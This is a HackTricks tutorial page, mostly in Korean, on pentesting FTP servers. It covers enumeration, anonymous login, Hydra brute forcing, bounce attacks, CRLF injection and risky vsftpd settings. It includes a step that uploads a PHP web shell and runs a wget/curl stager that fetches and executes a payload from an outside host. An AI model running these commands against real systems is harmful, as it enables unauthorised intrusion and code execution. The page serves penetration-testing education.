21 - Pentesting FTP

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

The **File Transfer Protocol (FTP)**๋Š” ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ ๊ฐ„์˜ ์ปดํ“จํ„ฐ ๋„คํŠธ์›Œํฌ์—์„œ ํŒŒ์ผ ์ „์†ก์„ ์œ„ํ•œ ํ‘œ์ค€ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค.
์ด ํ”„๋กœํ† ์ฝœ์€ plain-text ํ”„๋กœํ† ์ฝœ๋กœ, **new line character 0x0d 0x0a**๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ๋•Œ๋•Œ๋กœ telnet ๋˜๋Š” **nc -C**๋กœ ์—ฐ๊ฒฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 21

PORT   STATE SERVICE
21/tcp open  ftp

์—ฐ๊ฒฐ Active & Passive

In Active FTP the FTP client first ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค the control connection from its port N to FTP Servers command port โ€“ port 21. The client then ์ˆ˜์‹  ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค to port N+1 and sends the port N+1 to FTP Server. FTP Server then ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค the data connection, from its port M to the port N+1 of the FTP Client.

ํ•˜์ง€๋งŒ, FTP Client๊ฐ€ ์™ธ๋ถ€์—์„œ ๋“ค์–ด์˜ค๋Š” ๋ฐ์ดํ„ฐ ์—ฐ๊ฒฐ์„ ์ œ์–ดํ•˜๋Š” firewall ์„ค์ •์ด ๋˜์–ด ์žˆ๋‹ค๋ฉด active FTP๋Š” ๋ฌธ์ œ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ , ๊ทธ์— ๋Œ€ํ•œ ํ˜„์‹ค์ ์ธ ํ•ด๊ฒฐ์ฑ…์€ Passive FTP์ž…๋‹ˆ๋‹ค.

In Passive FTP, the client ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค the control connection from its port N to the port 21 of FTP Server. After this, the client issues a passv comand. The server then sends the client one of its port number M. And the client ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค the data connection from its port P to port M of the FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Connection debugging

The FTP commands debug and trace can be used to see ํ†ต์‹ ์ด ์–ด๋–ป๊ฒŒ ์ผ์–ด๋‚˜๊ณ  ์žˆ๋Š”์ง€.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

starttls๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ FTP์— ์—ฐ๊ฒฐ

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

nmap ์‚ฌ์šฉ

sudo nmap -sV -p21 -sC -A 10.10.10.10

FTP ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด HELP์™€ FEAT ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

์ต๋ช… ๋กœ๊ทธ์ธ

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

์—ฌ๊ธฐ์—์„œ ๊ธฐ๋ณธ ftp ์ž๊ฒฉ ์ฆ๋ช… ๋ชฉ๋ก์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

์ž๋™ํ™”

Anon login ๋ฐ bounce FTP ๊ฒ€์‚ฌ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ nmap์ด -sC ์˜ต์…˜์œผ๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋˜๋Š”:

nmap --script ftp-* -p 21 <ip>

๋ธŒ๋ผ์šฐ์ € ์—ฐ๊ฒฐ

๋‹ค์Œ๊ณผ ๊ฐ™์€ URL์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ธŒ๋ผ์šฐ์ €(์˜ˆ: Firefox)๋กœ FTP ์„œ๋ฒ„์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ftp://anonymous:anonymous@10.10.10.98

Note that if a web application is sending data controlled by a user directly to a FTP server you can send double URL encode %0d%0a (in double URL encode this is %250d%250a) bytes and make the FTP server perform arbitrary actions. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http).

FTP์—์„œ ๋ชจ๋“  ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

์‚ฌ์šฉ์ž/๋น„๋ฐ€๋ฒˆํ˜ธ์— ํŠน์ˆ˜ ๋ฌธ์ž๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ, following command์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • XAMPP/ProFTPD๋Š” ์ข…์ข… FTP root๋ฅผ /opt/lampp/htdocs์— ๋งคํ•‘ํ•˜๋ฏ€๋กœ, daemon ๋˜๋Š” nobody ๊ฐ™์€ ์„œ๋น„์Šค ๊ณ„์ •์˜ ์•ฝํ•œ ์ž๊ฒฉ์ฆ๋ช…์œผ๋กœ ์ œ๊ณต๋˜๋Š” webroot์— PHP web shell์„ ์ง์ ‘ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์—…๋กœ๋“œ ํ›„, ์…ธ์„ ํ†ตํ•ด architecture-aware download/exec stager๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜์„ธ์š”. ์˜ˆ: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), ์ด ์Šคํ…Œ์ด์ €๋Š” ์ฒดํฌ์„ฌ์œผ๋กœ ๊ฒ€์ฆ๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ฐ€์ ธ์™€ ์ €์žฅ(์˜ˆ: init_start), chmod +x๋ฅผ ์„ค์ •ํ•˜๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • ํ˜„์žฌ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์“ฐ๊ธฐ/์‹คํ–‰ ๋ถˆ๊ฐ€ํ•˜๋ฉด ์Šคํ…Œ์ด์ €๋Š” /tmp๋กœ ๋Œ€์ฒด๋˜๋ฏ€๋กœ, ์—…๋กœ๋“œ ํ›„ ์›น ๊ฒฝ๋กœ์™€ ํŒŒ์ผ์‹œ์Šคํ…œ ๊ถŒํ•œ์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

Some FTP commands

  • USER username
  • PASS password
  • HELP ์„œ๋ฒ„๊ฐ€ ์–ด๋–ค ๋ช…๋ น์„ ์ง€์›ํ•˜๋Š”์ง€ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค
  • PORT 127,0,0,1,0,80 ์ด ๋ช…๋ น์€ FTP ์„œ๋ฒ„์— IP 127.0.0.1์˜ ํฌํŠธ 80์œผ๋กœ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค (5๋ฒˆ์งธ ๊ฐ’์„ โ€œ0โ€œ์œผ๋กœ ๋‘๊ณ  6๋ฒˆ์งธ ๊ฐ’์„ ํฌํŠธ์˜ ์‹ญ์ง„์ˆ˜๋กœ ๋„ฃ๊ฑฐ๋‚˜, 5๋ฒˆ์งธ์™€ 6๋ฒˆ์งธ๋ฅผ ์‚ฌ์šฉํ•ด ํฌํŠธ๋ฅผ 16์ง„์ˆ˜๋กœ ํ‘œํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).
  • EPRT |2|127.0.0.1|80| ์ด ๋ช…๋ น์€ FTP ์„œ๋ฒ„์— IP 127.0.0.1์˜ ํฌํŠธ 80์œผ๋กœ TCP ์—ฐ๊ฒฐ(โ€œ2โ€œ๋กœ ํ‘œ์‹œ)์„ ์„ค์ •ํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ IPv6๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.
  • LIST ํ˜„์žฌ ํด๋”์˜ ํŒŒ์ผ ๋ชฉ๋ก์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค
  • LIST -R ์žฌ๊ท€์ ์œผ๋กœ ๋ชฉ๋ก์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค(์„œ๋ฒ„๊ฐ€ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ)
  • APPE /path/something.txt ์ด ๋ช…๋ น์€ FTP์—๊ฒŒ passive ์—ฐ๊ฒฐ ๋˜๋Š” PORT/EPRT ์—ฐ๊ฒฐ๋กœ ๋ฐ›์€ ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์ผ๋กœ ์ €์žฅํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ๋ช…์ด ์กด์žฌํ•˜๋ฉด ๋ฐ์ดํ„ฐ๋ฅผ ๋ง๋ถ™์ž…๋‹ˆ๋‹ค.
  • STOR /path/something.txt APPE์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ํŒŒ์ผ์„ ๋ฎ์–ด์”๋‹ˆ๋‹ค
  • STOU /path/something.txt APPE์™€ ์œ ์‚ฌํ•˜๋‚˜ ํŒŒ์ผ์ด ์กด์žฌํ•˜๋ฉด ์•„๋ฌด ์ž‘์—…๋„ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • RETR /path/to/file passive ๋˜๋Š” port ์—ฐ๊ฒฐ์ด ์ˆ˜๋ฆฝ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, FTP ์„œ๋ฒ„๋Š” ํ•ด๋‹น ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ง€์ •๋œ ํŒŒ์ผ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค
  • REST 6 ๋‹ค์Œ์— RETR๋กœ ์ „์†กํ•  ๋•Œ 6๋ฒˆ์งธ ๋ฐ”์ดํŠธ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜๋„๋ก ์„œ๋ฒ„์— ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค.
  • TYPE i ์ „์†ก์„ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค
  • PASV passive ์—ฐ๊ฒฐ์„ ์—ด๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ์–ด๋””์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ๋ ค์ค๋‹ˆ๋‹ค
  • PUT /tmp/file.txt ์ง€์ •๋œ ํŒŒ์ผ์„ FTP์— ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค

FTPBounce attack

์ผ๋ถ€ FTP ์„œ๋ฒ„๋Š” PORT ๋ช…๋ น์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ ์„œ๋ฒ„์—๊ฒŒ ๋‹ค๋ฅธ FTP ์„œ๋ฒ„์˜ ํŠน์ • ํฌํŠธ๋กœ ์—ฐ๊ฒฐํ•˜๋„๋ก ์ง€์‹œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด FTP ์„œ๋ฒ„๋ฅผ ํ†ตํ•ด ํ˜ธ์ŠคํŠธ์˜ ์–ด๋–ค ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ๋Š”์ง€ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์—์„œ FTP ์„œ๋ฒ„๋ฅผ ์•…์šฉํ•ด ํฌํŠธ๋ฅผ ์Šค์บ”ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”.

์ด ๋™์ž‘์„ ์•…์šฉํ•ด FTP ์„œ๋ฒ„๊ฐ€ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด HTTP ์š”์ฒญ์„ ํฌํ•จํ•œ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๊ณ  ์ทจ์•ฝํ•œ FTP ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์ž„์˜์˜ HTTP ์„œ๋ฒ„๋กœ ์ „์†กํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: ์ƒˆ ๊ด€๋ฆฌ์ž ๊ณ„์ • ์ถ”๊ฐ€?) ๋˜๋Š” FTP ์š”์ฒญ์„ ์—…๋กœ๋“œํ•ด ์ทจ์•ฝ FTP ์„œ๋ฒ„๊ฐ€ ๋‹ค๋ฅธ FTP ์„œ๋ฒ„์—์„œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด๋ก ์€ ๋‹จ์ˆœํ•ฉ๋‹ˆ๋‹ค:

  1. ์š”์ฒญ(ํ…์ŠคํŠธ ํŒŒ์ผ ๋‚ด๋ถ€)์„ ์ทจ์•ฝ ์„œ๋ฒ„์— ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ HTTP ๋˜๋Š” FTP ์„œ๋ฒ„์™€ ํ†ต์‹ ํ•˜๋ ค๋ฉด ์ค„ ๋์„ 0x0d 0x0a๋กœ ๋ณ€๊ฒฝํ•ด์•ผ ํ•จ์„ ๊ธฐ์–ตํ•˜์„ธ์š”
  2. ์›ํ•˜์ง€ ์•Š๋Š” ๋ฌธ์ž๋ฅผ ์ „์†กํ•˜์ง€ ์•Š๋„๋ก REST X๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” (์˜ˆ: ์š”์ฒญ์„ ํŒŒ์ผ ๋‚ด๋ถ€์— ๋„ฃ๊ธฐ ์œ„ํ•ด ์‹œ์ž‘ ๋ถ€๋ถ„์— ์ด๋ฏธ์ง€ ํ—ค๋”๋ฅผ ๋„ฃ์–ด์•ผ ํ•  ๋•Œ)
  3. PORT๋ฅผ ์‚ฌ์šฉํ•ด ์ž„์˜์˜ ์„œ๋ฒ„์™€ ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค
  4. RETR๋ฅผ ์‚ฌ์šฉํ•ด ์ €์žฅ๋œ ์š”์ฒญ์„ ์„œ๋ฒ„๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

์ด ๋ฐฉ๋ฒ•์€ ์—ฐ๊ฒฐ์ด RETR๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ธฐ์— ์ถฉ๋ถ„ํžˆ ์˜ค๋ž˜ ์ง€์†๋˜์ง€ ์•Š์•„ Socket not writable ๊ฐ™์€ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•œ ์ œ์•ˆ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • HTTP ์š”์ฒญ์„ ์ „์†กํ•˜๋Š” ๊ฒฝ์šฐ, ๊ฐ™์€ ์š”์ฒญ์„ ์—ฐ์†์œผ๋กœ ๋ฐ˜๋ณตํ•˜์—ฌ ์ตœ์†Œ ~0.5MB ์ •๋„๊ฐ€ ๋  ๋•Œ๊นŒ์ง€ ์ฑ„์›Œ๋ณด์„ธ์š”. ์˜ˆ:

  • ํ”„๋กœํ† ์ฝœ์— ๋งž๋Š” โ€œ์ •ํฌโ€ ๋ฐ์ดํ„ฐ๋กœ ์š”์ฒญ์„ ์ฑ„์›Œ๋ณด์„ธ์š” (FTP์™€ ํ†ต์‹ ํ•  ๊ฒฝ์šฐ ์ •ํฌ ๋ช…๋ น์„ ๋„ฃ๊ฑฐ๋‚˜ RETR ๋ช…๋ น์„ ๋ฐ˜๋ณตํ•˜์—ฌ ํŒŒ์ผ์„ ์–ป์œผ๋ ค ์‹œ๋„)
  • ๋‹จ์ˆœํžˆ ๋งŽ์€ ๋„ ๋ฌธ์ž ๋“ฑ์œผ๋กœ ์š”์ฒญ์„ ์ฑ„์›Œ๋ณด์„ธ์š” (๋ผ์ธ์œผ๋กœ ๋‚˜๋ˆ„์–ด๋„ ๋˜๊ณ  ์•„๋‹ ์ˆ˜๋„ ์žˆ์Œ)

์–ด์จŒ๋“ , ์—ฌ๊ธฐ์— ์ด ๋™์ž‘์„ ์•…์šฉํ•ด FTP ์„œ๋ฒ„๊ฐ€ ๋‹ค๋ฅธ FTP ์„œ๋ฒ„์—์„œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ์˜ค๋ž˜๋œ ์˜ˆ์‹œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

Filezilla Server Vulnerability

FileZilla๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋กœ์ปฌ์—์„œ FileZilla-Server์˜ ๊ด€๋ฆฌ ์„œ๋น„์Šค(ํฌํŠธ 14147)์— bindsํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ your machine์—์„œ ์ด ํฌํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ„ฐ๋„์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, **๋นˆ ๋น„๋ฐ€๋ฒˆํ˜ธ(blank password)**๋กœ ์ ‘์†ํ•˜์—ฌ FTP ์„œ๋น„์Šค์šฉ ์ƒˆ ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Config files

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

vsFTPd์˜ ๊ธฐ๋ณธ ์„ค์ •์€ /etc/vsftpd.conf์— ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ๋ช‡ ๊ฐ€์ง€ ์œ„ํ—˜ํ•œ ์„ค์ •์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - ์ต๋ช… ์‚ฌ์šฉ์ž๋ฅผ ์œ„ํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ.
  • chown_uploads=YES - ์ต๋ช…์œผ๋กœ ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์˜ ์†Œ์œ ๊ถŒ์„ ๋ณ€๊ฒฝํ•จ
  • chown_username=username - ์ต๋ช…์œผ๋กœ ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์˜ ์†Œ์œ ์ž๋กœ ์ง€์ •๋˜๋Š” ์‚ฌ์šฉ์ž
  • local_enable=YES - ๋กœ์ปฌ ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉ
  • no_anon_password=YES - ์ต๋ช…์—๊ฒŒ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์š”๊ตฌํ•˜์ง€ ์•Š์Œ
  • write_enable=YES - ๋‹ค์Œ ๋ช…๋ น ํ—ˆ์šฉ: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ